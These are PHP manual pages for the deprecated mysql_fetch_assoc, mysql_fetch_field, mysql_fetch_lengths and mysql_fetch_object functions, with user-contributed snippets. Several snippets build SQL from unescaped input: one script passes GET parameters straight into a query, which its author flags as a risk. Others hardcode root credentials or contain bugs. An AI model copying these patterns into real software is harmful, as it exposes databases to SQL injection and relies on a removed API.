Returns an associative array of strings that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysql_fetch_row() or add alias names. See the example at the mysql_fetch_array() description about aliases.

Examples

Example #1 An expanded mysql_fetch_assoc() example

<?php

$conn = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!$conn) {
    echo "Unable to connect to DB: " . mysql_error();
    exit;
}

if (!mysql_select_db("mydbname")) {
    echo "Unable to select mydbname: " . mysql_error();
    exit;
}

$sql = "SELECT id as userid, fullname, userstatus
        FROM   sometable
        WHERE  userstatus = 1";

$result = mysql_query($sql);

if (!$result) {
    echo "Could not successfully run query ($sql) from DB: " . mysql_error();
    exit;
}

if (mysql_num_rows($result) == 0) {
    echo "No rows found, nothing to print so am exiting";
    exit;
}

// While a row of data exists, put that row in $row as an associative array
// Note: If you're expecting just one row, no need to use a loop
// Note: If you put extract($row); inside the following loop, you'll
//       then create $userid, $fullname, and $userstatus
while ($row = mysql_fetch_assoc($result)) {
    echo $row["userid"];
    echo $row["fullname"];
    echo $row["userstatus"];
}

mysql_free_result($result);

?>

Notes

Note: Performance

An important thing to note is that using mysql_fetch_assoc() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query
  • mysql_error() - Returns the text of the error message from previous MySQL operation

User Contributed Notes

bkfake-php at yahoo dot com 25-Jan-2014 05:53
Although deprecated as of PHP 5.5, the mySQL function do NOT trigger an E_DEPRECATED error
george at georgefisher dot com 21-Apr-2009 04:51
Thanks to to R. Bradley for the implode idea. The following fixes a few bugs and includes quote_smart functionality (and has been tested)

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

   //
   // Insert values into a MySQL database
   // Includes quote_smart code to foil SQL Injection
   //
   // A call to this function of:
   //
   //  $val1 = "foobar";
   //  $val2 = 495;
   //  mysql_insert_assoc("tablename", array(col1=>$val1, col2=>$val2, col3=>"val3", col4=>720, col5=>834.987));
   //
   // Sends the following query:
   //  INSERT INTO 'tablename' (col1, col2, col3, col4, col5) values ('foobar', 495, 'val3', 720, 834.987)
   //

       global $db_link;

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array $my_array
       $values = array_values($my_array);

       // quote_smart the values
       $values_number = count($values);
       for ($i = 0; $i < $values_number; $i++)
         {
         $value = $values[$i];
         if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
         if (!is_numeric($value))    { $value = "'" . mysql_real_escape_string($value, $db_link) . "'"; }
         $values[$i] = $value;
         }

       // Compose the query
       $sql = "INSERT INTO $my_table ";

       // create comma-separated string of column names, enclosed in parentheses
       $sql .= "(" . implode(", ", $columns) . ")";
       $sql .= " values ";

       // create comma-separated string of values, enclosed in parentheses
       $sql .= "(" . implode(", ", $values) . ")";

       $result = @mysql_query ($sql) OR die ("<br />\n<span style=\"color:red\">Query: $sql UNsuccessful :</span> " . mysql_error() . "\n<br />");

       return ($result) ? true : false;
   }
?>
Daniel Chcouri - 333222 +A-T+ gmail 02-Apr-2009 12:45
Fetching all the results to array with one liner:

<?php
$result = mysql_query(...);
while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
?>
josh at joshstrike dot com 27-Dec-2008 12:40
Here's a nifty function to copy a whole table to another table. Takes as its arguments
$z -> the result of a SQL query with columns matching the table you're copying into.
$toTable -> string name of the table to copy into.
$link_identifier -> the db resource of the table you're copying into.
If anyone can find a faster way to do this, I'd be glad to know about it...

<?php
function mysql_multirow_copy($z,$toTable,$link_identifier) {
    $fields = "";
    for ($i=0;$i<mysql_num_fields($z);$i++) {
        if ($i>0) {
            $fields .= ",";
        }
        $fields .= mysql_field_name($z,$i);
    }
    $q = "INSERT INTO $toTable ($fields) VALUES";
    $c = 0;
    mysql_data_seek($z,0); //critical reset in case $z has been parsed beforehand. !
    while ($a = mysql_fetch_assoc($z)) {
        foreach ($a as $as) {
            $a[key($a)] = addslashes($as);
            next ($a);
        }
        if ($c>0) {
            $q .= ",";
        }
        $q .= "('".implode(array_values($a),"','")."')";
        $c++;
    }
    $q .= ";";
    $z = mysql_query($q,$link_identifier);
    return ($q);
}
?>
nick at homefeedback dot com 22-Mar-2007 01:50
function array2table: small fix to the post below that handles data returned from mysql that is either null or 0...

This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while (false !== ($curr_field = current($curr_row))) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
Typer85 at gmail dot com 01-Dec-2006 02:21
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
R. Bradley 14-Sep-2006 05:34
In response to Sergiu's function - implode() would make things a lot easier ... as below:

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array
       $values = array_values($my_array);

       // We compose the query
       $sql = "insert into `$my_table` ";
       // implode the column names, inserting "\", \"" between each (but not after the last one)
       // we add the enclosing quotes at the same time
       $sql .= "(\"" . implode("\", \"", $column_names) . "\")";
       $sql .= " values ";
       // Same with the values
       $sql .= "(" . implode(", ", $values) . ")";

       $result = mysql_query($sql);

       if ($result)
       {
           echo "The row was added sucessfully";
           return true;
       }
       else
       {
           echo ("The row was not added<br>The error was" . mysql_error());
           return false;
       }
   }
?>

Thus, a call to this function of:
mysql_insert_assoc("tablename", array("col1"=>"val1", "col2"=>"val2"));

Sends the following sql query to mysql:
INSERT INTO `tablename` ("col1", "col2") VALUES ("val1", "val2")
chasfileDELETE_ALL_CAPS at gmail dot com 23-Feb-2006 08:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
    $i=0;
    $ret = array();
    while ($row = mysql_fetch_assoc($result)) {
        foreach ($row as $key => $value) {
            $ret[$i][$key] = $value;
            }
        $i++;
        }
    return ($ret);
    }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
          [datetime] => 2006-02-17 16:00:00
          [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
          [datetime] => 2006-02-17 16:00:00
          [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
          [datetime] => 2006-02-17 16:00:00
          [price] => 27.4 ))
jono 02-Feb-2006 06:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
benlanc at ster dot me dot uk 24-Aug-2005 01:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org 21-Jun-2005 10:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com 14-May-2005 09:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
    SELECT *
    FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }
?>
joe at kybert dot com 29-Sep-2004 10:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk 17-Sep-2004 02:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
    [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl 05-Sep-2003 01:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}


Get column information from a result and return as an object

  • « mysql_fetch_assoc
  • mysql_fetch_lengths »
  • PHP Manual
  • MySQL Functions
  • Get column information from a result and return as an object

mysql_fetch_field

(PHP 4, PHP 5)

mysql_fetch_field — Get column information from a result and return as an object

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field()
  • PDOStatement::getColumnMeta()

Description

object mysql_fetch_field ( resource $result [, int $field_offset = 0 ] )

Returns an object containing field information. This function can be used to obtain information about fields in the provided query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0.

Return Values

Returns an object containing field information. The properties of the object are:

  • name - column name
  • table - name of the table the column belongs to, which is the alias name if one is defined
  • max_length - maximum length of the column
  • not_null - 1 if the column cannot be NULL
  • primary_key - 1 if the column is a primary key
  • unique_key - 1 if the column is a unique key
  • multiple_key - 1 if the column is a non-unique key
  • numeric - 1 if the column is numeric
  • blob - 1 if the column is a BLOB
  • type - the type of the column
  • unsigned - 1 if the column is unsigned
  • zerofill - 1 if the column is zero-filled

Examples

Example #1 mysql_fetch_field() example

<?php
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$conn) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('database');
$result = mysql_query('select * from table');
if (!$result) {
    die('Query failed: ' . mysql_error());
}
/* get column metadata */
$i = 0;
while ($i < mysql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = mysql_fetch_field($result, $i);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
blob:         $meta->blob
max_length:   $meta->max_length
multiple_key: $meta->multiple_key
name:         $meta->name
not_null:     $meta->not_null
numeric:      $meta->numeric
primary_key:  $meta->primary_key
table:        $meta->table
type:         $meta->type
unique_key:   $meta->unique_key
unsigned:     $meta->unsigned
zerofill:     $meta->zerofill
</pre>";
    $i++;
}
mysql_free_result($result);
?>

Notes

Note: Field names returned by this function are case-sensitive.

Note:

If field or tablenames are aliased in the SQL query the aliased name will be returned. The original name can be retrieved for instance by using mysqli_result::fetch_field().

See Also

  • mysql_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

mwwaygoo AT hotmail DOT com 30-May-2012 07:20
Using mysql_fetch_field you can produce a more robust version of mysql_fetch_assoc.

When querying 2 tables with the same field names, generally you would need to use mysql_fetch_row to get an integer key'ed array rather than an associated key'ed array. This is because fields of the same name in the second table will over-write the data returned from the first table.
However this simple function will insert the table name prior to the field name for the key and prevent cross-overs.

ie SELECT *, 'test' AS test 4 FROM table AS T_1, table AS T_2 WHERE T_1.a=T_2.b

could produce:

mysql_fetch_assoc() returns
array(
'index'=>2,
'a'=>'pear',
'b'=>'apple',
'test'=>'test',
4=>4
)

mysql_fetch_table_assoc() returns
array(
'T_1.index' =>1,
'T_1.a'=>'apple',
'T_1.b'=>'banana',
'T_2.index'=>2,
'T_2.a'=>'pear',
'T_2.b'=>'apple',
'test'=>'test',
4=>4
)

<?php
function mysql_fetch_table_assoc($resource)
{
    // function to get all data from a query, without over-writing the same field
    // by using the table name and the field name as the index

    // get data first
    $data=mysql_fetch_row($resource);
    if(!$data) return $data; // end of data

    // get field info
    $fields=array();
    $index=0;
    $num_fields=mysql_num_fields($resource);
    while($index<$num_fields)
    {
        $meta=mysql_fetch_field($resource, $index);
        if(!$meta)
        {
            // if no field info then just use index number by default
            $fields[$index]=$index;
        }
        else
        {
            $fields[$index]='';
            // deal with field aliases - ie no table name (SELECT T_1.a AS temp)
            if(!empty($meta->table)) $fields[$index]=$meta->table.'.';
            // deal with raw data - ie no field name (SELECT 1)
            if(!empty($meta->name))  $fields[$index].=$meta->name; else $fields[$index].=$index;
        }
        $index++;
    }
    $assoc_data=array_combine($fields, $data);
    return $assoc_data;
}
?>
Daniel B 26-Mar-2012 11:56
Simple function to display all data in a query...

function dumpquery($query) {
    $numfields = mysql_num_fields($query);
    echo '<table border="1" bgcolor="white"><tr>';
    for ($i = 0; $i<$numfields; $i += 1) {
        $field = mysql_fetch_field($query, $i);
        echo '<th>' . $field->name . '</th>';
    }
    echo '</tr>';
    while ($fielddata = mysql_fetch_array($query)) {
        echo '<tr>';
        for ($i = 0; $i<$numfields; $i += 1) {
            $field = mysql_fetch_field($query, $i);
            echo '<td>' . $fielddata[$field->name] . '</td>';
        }
        echo '</tr>';
    }
    echo '</table>';
}
lucien at ocia dot nl 04-Feb-2012 10:08
Performance Notes!

I used this script for testing, the table has 26 colums.

<?php
$t_start = microtime(true);
$sql = mysql_query("SELECT * FROM `table` LIMIT 1") or trigger_error(mysql_error(), E_USER_WARNING);
for ($i = 0; $i < mysql_num_fields($sql); $i++) {
    $meta = mysql_fetch_field($sql, $i);
    echo "Information for column ".$meta->name.":\n";
    echo
"\tblob:         $meta->blob
\tmax_length:   $meta->max_length
\tmultiple_key: $meta->multiple_key
\tname:         $meta->name
\tnot_null:     $meta->not_null
\tnumeric:      $meta->numeric
\tprimary_key:  $meta->primary_key
\ttable:        $meta->table
\ttype:         $meta->type
\tunique_key:   $meta->unique_key
\tunsigned:     $meta->unsigned
\tzerofill:     $meta->zerofill
";
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 1: ".number_format($t_proc * 1000, 3)." ms\n";
unset($t_start);
unset($t_stop);
unset($t_proc);
$t_start = microtime(true);
$sql = mysql_query("DESCRIBE `table`");
while ($res = mysql_fetch_array($sql, MYSQL_ASSOC)) {
    print_r($res);
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 2: ".number_format($t_proc * 1000, 3)." ms\n";
?>

Query 1 => 0.444 ms
Query 2 => 1.146 ms

So for easy usage, Query 2 is advised... But if your a performance-geek, you should use Query 1.
eviltofu at gmail dot com 09-Jul-2011 02:58
MYSQLI_TYPE_BLOB indicates the field is a BLOB or a TEXT. I think you would need to check the blob value. If its true then it's a BLOB, otherwise it's a TEXT. Can someone confirm?
Jonathan 31-Jul-2010 02:45
It should be noted that the primary_key member variable is only set to 1 if the primary key on the table is only on that 1 field. If you have a table that has a multiple column primary key, then you will not get what you might expect.

For example:
CREATE TABLE `line_item_table` (
  `liForeignKey1` int(11) unsigned not null,
  `liForeignKey2` int(11) unsigned not null,
  PRIMARY KEY (`liForeignKey1`, `liForeignKey2`)
) ENGINE=MyISAM;

While you might expect that primary_key == 1 for both columns; var_dump() will show you that you get the following for both fields:
["primary_key"]=>int(0)

This is as of PHP 5.2.13 and MySQL 5.0.51
TALU 04-Feb-2009 05:16
XML generation.

Bit of a security risk allowing parameters to select db and table on live server (unless user is restricted or replace the $_GET with fixed value.)

Outputs xml with standard format for <config> part to generate forms in flash.

<?php
    //
    //    makeXML.php?db=dbname&table=tablename
    //

    set_time_limit(300);

    $host = "localhost";
    $user = "root";
    $password = "root";

    $database = $_GET['db'];
    $table = $_GET['table'];

    mysql_connect($host,$user,$password);
    @mysql_select_db($database) or die( "Unable to select database");

    $querytext="SELECT * FROM ".$table;
    $result=mysql_query($querytext);

    if ($result){
        $num=mysql_num_rows($result);
    }else{
        $num=0;
    }

?>
<?php
    header('Content-Type: text/xml');
     echo "<?xml version='1.0'?>";

     if ($num > 0){
 ?>
<<?php  echo $table?>>
    <config>
        <?php
            // Display number of fields
            echo "<numFields>".mysql_num_fields($result)."</numFields>";
            $i = 0;
            $primaryKey = "";
            $nameArray = array();
            $maxLengthArray = array();
            $typeArray = array();
            while ($i < mysql_num_fields($result)) {
                $meta = mysql_fetch_field($result, $i);
                $nameArray[$i] = $meta->name;
                $maxLengthArray[$i] = $meta->max_length;
                $typeArray[$i] = $meta->type;
                if ($meta->primary_key){
                    $primaryKey = $meta->name;
                }
                $i++;
            }
            $i = 0;
            echo "<fieldNames>";
            while ($i < count($nameArray)) {
                echo "<field".$i.">".$nameArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldNames>";
            $i = 0;
            echo "<fieldMaxLength>";
            while ($i < count($maxLengthArray)) {
                echo "<field".$i.">".$maxLengthArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldMaxLength>";
            $i = 0;
            echo "<fieldType>";
            while ($i < count($typeArray)) {
                echo "<field".$i.">".$typeArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldType>";
        ?>
        <primaryKey><?php  echo $primaryKey?></primaryKey>
        <numRecords><?php  echo $num?></numRecords>
    </config>
<?php
    $i=0;
    while ($i < $num) {
        $ID=mysql_result($result,$i,"ID");
        $value=mysql_result($result,$i,"value");
        $title=mysql_result($result,$i,"title");
        $description=mysql_result($result,$i,"description");
?>
    <row>
        <ID><?php  echo $ID?></ID>
        <weighting><?php  echo $value?></weighting>
        <title><?php  echo $title?></title>
        <description><?php  echo $description?></description>
    </row>
<?php
        $i = $i + 1;
    }
?>
</<?php  echo $table?>>

<?php
    }
?>
php [spat] hm2k.org 05-Nov-2008 12:22
An improvement on the earlier mysql_column_exists function.

<?php

function mysql_column_exists($table_name, $column_name, $link=false) {
    $result = @mysql_query("SHOW COLUMNS FROM $table_name LIKE '$column_name'", $link);
    return (mysql_num_rows($result) > 0);
}

?>
jorachim at geemail dot com 25-Sep-2008 10:09
If you want the fields in a table, a simple DESCRIBE query will work:

<?php
$query ="DESCRIBE Users";
$result = mysql_query($query);

echo "<ul>";

while($i = mysql_fetch_assoc($result))
     echo "<li>{$i['Field']}</li>";

echo "</ul>";
?>

Should do the trick.
david at vitam dot be 10-Jun-2008 02:57
A little function to help coders to distinct the tablename from a multiselect query where some fields has the same name in differents tables.

<?php
public function sql($sql) {
    $T_Return=array();
    $result=@mysql_query($sql);

    $i=0;
    while ($i < mysql_num_fields($result)) {
        $fields[]=mysql_fetch_field($result, $i);
        $i++;
    }

    while ($row=mysql_fetch_row($result)) {
        $new_row=array();
        for($i=0;$i<count($row); $i++) {
            $new_row[ $fields[$i]->table][$fields[$i]->name]=$row[$i];
        }
        $T_Return[]=$new_row;
    }

    return $T_Return;
}
?>
dheep 04-Jun-2008 05:56
Simple PHP script for displaying the field names. Presuming the database is seleected already.

<?php
$sql = "SELECT * FROM table_name;";
$result = mysql_query($sql);
$i = 0;
while($i<mysql_num_fields($result))
{
  $meta=mysql_fetch_field($result,$i);
  echo $i.".".$meta->name."<br />";
  $i++;
}
?>

OUTPUt:
0.id
1.todo
2.due date
3.priority
4.type
5.status
6.notes

hope this is useful.
Nick Baicoianu 15-Sep-2005 08:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
php at brayra dot com 22-Mar-2002 01:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:

<?php
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";
?>

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

<?php
//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
    $columns = mysql_query('show columns from ' . $table);
    if($columns){
      $num = mysql_num_fields($fields);
      for($i=0; $i < $num; ++$i){
        $column = mysql_fetch_array($columns);
        $field = mysql_fetch_field($fields, $i);
        $flags = mysql_field_flags($fields, $i);
        if($flags == '') $flags=array();
        else $flags = explode(' ',$flags);
        if (ereg('enum.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if (ereg('set.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if(!$field->values) $field->values = array();
        $field->flags = $flags;
        $field->len = mysql_field_len($fields, $i);
        $result_fields[$field->name] = $field;
        $result_fields[$i] = $field;
      }
      mysql_free_result($columns);
    }
    mysql_free_result($fields);
    return $result_fields;
  }
  return false;
}
?>

hope someone else finds this useful.
krang at krang dot org dot uk 10-Mar-2002 03:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

<?php
$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
?>


Get the length of each output in a result

  • « mysql_fetch_field
  • mysql_fetch_object »
  • PHP Manual
  • MySQL Functions
  • Get the length of each output in a result

mysql_fetch_lengths

(PHP 4, PHP 5)

mysql_fetch_lengths — Get the length of each output in a result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_lengths()
  • PDOStatement::getColumnMeta()

Description

array mysql_fetch_lengths ( resource $result )

Returns an array that corresponds to the lengths of each field in the last row fetched by MySQL.

mysql_fetch_lengths() stores the lengths of
each result column in the last row returned by
mysql_fetch_row(),
mysql_fetch_assoc(),
mysql_fetch_array(), and
mysql_fetch_object() in an array, starting at
offset 0.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

An array of lengths on success or FALSE on failure.

Examples

Example #1 A mysql_fetch_lengths() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row     = mysql_fetch_assoc($result);
$lengths = mysql_fetch_lengths($result);

print_r($row);
print_r($lengths);
?>

The above example will output something similar to:

Array
(
    [id] => 42
    [email] => user@example.com
)
Array
(
    [0] => 2
    [1] => 16
)

See Also

  • mysql_field_len() - Returns the length of the specified field
  • mysql_fetch_row() - Get a result row as an enumerated array
  • strlen() - Get string length

User Contributed Notes

Bavo Janss 10-Jul-2009 04:19
In case of UTF8 fields mysql_field_len() will return 3 times the maximum length (e.g. 30 for a VARCHAR(10) field)) for mysql_field_len() returns the byte length of the field not the defined size.


Fetch a result row as an object

  • « mysql_fetch_lengths
  • mysql_fetch_row »
  • PHP Manual
  • MySQL Functions
  • Fetch a result row as an object

mysql_fetch_object

(PHP 4, PHP 5)

mysql_fetch_object — Fetch a result row as an object

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_object()
  • PDOStatement::fetch(PDO::FETCH_OBJ)

Description

object mysql_fetch_object ( resource $result [, string $class_name [, array $params ]] )

Returns an object with properties that correspond to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

Returns an object with string properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 mysql_fetch_object() example

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
mysql_free_result($result);
?>

Example #2 mysql_fetch_object() example

<?php
class foo {
    public $name;
}

mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");

$result = mysql_query("select name from mytable limit 1");
$obj = mysql_fetch_object($result, 'foo');
var_dump($obj);
?>

Notes

Note: Performance

Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant).

Note:

mysql_fetch_object() is similar to mysql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query

User Contributed Notes

webmaster at kibab dot com 01-Sep-2010 04:46
That huge difference in timings may be caused by database cache issues. If mysql_fetch_object() was the first function to be used, the cache was empty, but subsequent invocations took the result from the query cache.
mp 27-Aug-2008 07:39
When working with a stdClass object returned from a database query, specifically:

$object = mysql_fetch_object($result)

You may run into assignment problems if you have a field with a '.' in the name.
e.g.: `user.id`

To remedy this situation, you can use curly braces and single quotes during assignment.

In place of:
$myObject->user_id = $object->user.id;

Use:
$myObject->user_id = $object->{'user.id'};
strrev xc.noxeh@ellij 05-Jun-2008 02:28
I created a table, with 5 INT columns, and 1000 rows of random ints.
I did 100 selects:

SELECT * FROM bench... (mysql_fetch_object)
Query time: 5.40725040436
Fetching time: 16.2730708122 (avg: 1.32130565643E-5)
Total time: 21.6803212166

SELECT * FROM bench... (mysql_fetch_array)
Query time: 5.37693023682
Fetching time: 10.3851644993 (avg: 7.48886537552E-6)
Total time: 15.7620947361

SELECT * FROM bench... (mysql_fetch_assoc)
Query time: 5.345921278
Fetching time: 10.6170959473 (avg: 7.64049530029E-6)
Total time: 15.9630172253

"Note: Performance  Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant)."

And I am a penguin :)
hcse at op dot pl 04-Jun-2008 12:19
<?php
class Test {

    public $go ;
    private $id ;

    function show() {
        return "id: {$this->id} go: {$this->go}" ;
    }

    function __construct()
    {
        echo "in __construct() ". $this->show() ."\n" ;
        $this->go = uniqid()    ;
    }

}

if (! ($res = mysql_query('SELECT * FROM `test`', $db))) {
    die('Invalid query: ' . mysql_error() . "\n");
}

while($obj = mysql_fetch_object($res, 'Test') ){
    echo "outside ________ ". $obj->show() ."\n\n";
}
?>

This code gives the result:
in __construct() id: 1 go: first
outside ________ id: 1 go: 4845bd99ca2e3

